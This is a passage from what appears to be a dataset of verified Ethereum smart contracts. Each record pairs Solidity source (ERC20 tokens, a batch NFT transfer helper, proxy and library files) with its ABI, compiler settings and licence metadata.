if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract FTOKEN is ERC20 {
constructor(
string memory name,
string memory symbol,
uint256 cap,
address minter
) public ERC20(name, symbol) {
// send all supply to minter
_mint(minter, cap);
}
} | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"cap","type":"uint256"},{"internalType":"address","name":"minter","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.2+commit.bacdbe57 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000115eec47f6cf7e3500000000000000000000000000000026aa9980242bd09a7353149acda8c845c08e2cd0000000000000000000000000000000000000000000000000000000000000000f50616e646f2052696e677320425443000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000047242544300000000000000000000000000000000000000000000000000000000 | Default | GNU GPLv3 | false | ipfs://c6774a9aee5bded5f5db908b973a104cd3af83ac4afd872ef33b8a0677cc5600 |
||
TransferBatchERC721 | TransferBatchERC721.sol | 0x2416105b66f3fe329bf7e449a2cc07868c162174 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity =0.8.3;
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
contract TransferBatchERC721 {
address immutable owner;
constructor() {
owner = msg.sender;
}
function batchSafeTransferFrom(IERC721 nft, address[] calldata recipients, uint256[] calldata tokenIds) external {
require(recipients.length == tokenIds.length);
require(owner == msg.sender);
for (uint256 i = 0; i < recipients.length; i++) {
nft.safeTransferFrom(msg.sender, recipients[i], tokenIds[i]);
}
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"contract IERC721","name":"nft","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"}],"name":"batchSafeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.3+commit.8d00100c | true | 200 | Default | None | false | ipfs://3f7acdf84dc0c1c6e171af765e2effccfc224465ad1d84596f68b7bd4df1b5f5 |
|||
OneWorldCryptocoin | OneWorldCryptocoin.sol | 0xa1cda43f28cb9a01e39a2c85c31d70915cd2d8e0 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.6.10;
//--------------------------------------
// WCC contract
//
// Symbol : OWCC
// Name : One World Cryptocoin
// Total supply: 5000000000
// Decimals : 10
//--------------------------------------
abstract contract ERC20Interface {
function totalSupply() virtual external view returns (uint256);
function balanceOf(address tokenOwner) virtual external view returns (uint);
function allowance(address tokenOwner, address spender) virtual external view returns (uint);
function transfer(address to, uint tokens) virtual external returns (bool);
function approve(address spender, uint tokens) virtual external returns (bool);
function transferFrom(address from, address to, uint tokens) virtual external returns (bool);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a, "SafeMath: subtraction overflow");
c = a - b;
return c;
}
}
contract OneWorldCryptocoin is ERC20Interface, SafeMath{
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public _totalSupply;
address public owner;
mapping(address => uint) internal balances;
mapping(address => mapping(address => uint)) internal allowed;
mapping(uint256 => uint256) internal token;
constructor() public {
name = "One World Cryptocoin";
symbol = "OWCC";
decimals = 10;
_totalSupply = 5000000000 * 10 ** uint256(decimals);
initialSupply = _totalSupply;
balances[msg.sender] = _totalSupply;
owner = msg.sender;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() external view override returns (uint256) {
return safeSub(_totalSupply, balances[address(0)]);
}
function balanceOf(address tokenOwner) external view override returns (uint getBalance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) external view override returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) external override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) external override returns (bool success) {
require(to != address(0));
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) external override returns (bool success) {
require(to != address(0));
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"getBalance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.10+commit.00c0fcaf | false | 200 | Default | None | false | ipfs://3fafc06a3ab4df89567b458604902d5a8c73e3b12d25a16e938e58fa107a9497 |
|||
XToken | Address.sol | 0x95f5537bd334155ac80d5c9611969d4bf1a73e3b | Solidity | // SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
} | 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||
XToken | AdminUpgradeabilityProxy.sol | 0x95f5537bd334155ac80d5c9611969d4bf1a73e3b | Solidity | // SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './BaseAdminUpgradeabilityProxy.sol';
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) {
BaseAdminUpgradeabilityProxy._willFallback();
}
} | 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||
XToken | DataTypes.sol | 0x95f5537bd334155ac80d5c9611969d4bf1a73e3b | Solidity | // SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
library DataTypes {
// refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
struct ReserveData {
//stores the reserve configuration
ReserveConfigurationMap configuration;
//the liquidity index. Expressed in ray
uint128 liquidityIndex;
//variable borrow index. Expressed in ray
uint128 variableBorrowIndex;
//the current supply rate. Expressed in ray
uint128 currentLiquidityRate;
//the current variable borrow rate. Expressed in ray
uint128 currentVariableBorrowRate;
uint40 lastUpdateTimestamp;
//tokens addresses
address xTokenAddress;
address variableDebtTokenAddress;
//address of the interest rate strategy
address interestRateStrategyAddress;
//the id of the reserve. Represents the position in the list of the active reserves
uint8 id;
}
struct ReserveConfigurationMap {
//bit 0-15: LTV
//bit 16-31: Liq. threshold
//bit 32-47: Liq. bonus
//bit 48-55: Decimals
//bit 56: Reserve is active
//bit 57: reserve is frozen
//bit 58: borrowing is enabled
//bit 60-63: reserved
//bit 64-79: reserve factor
uint256 data;
}
struct UserConfigurationMap {
uint256 data;
}
} | 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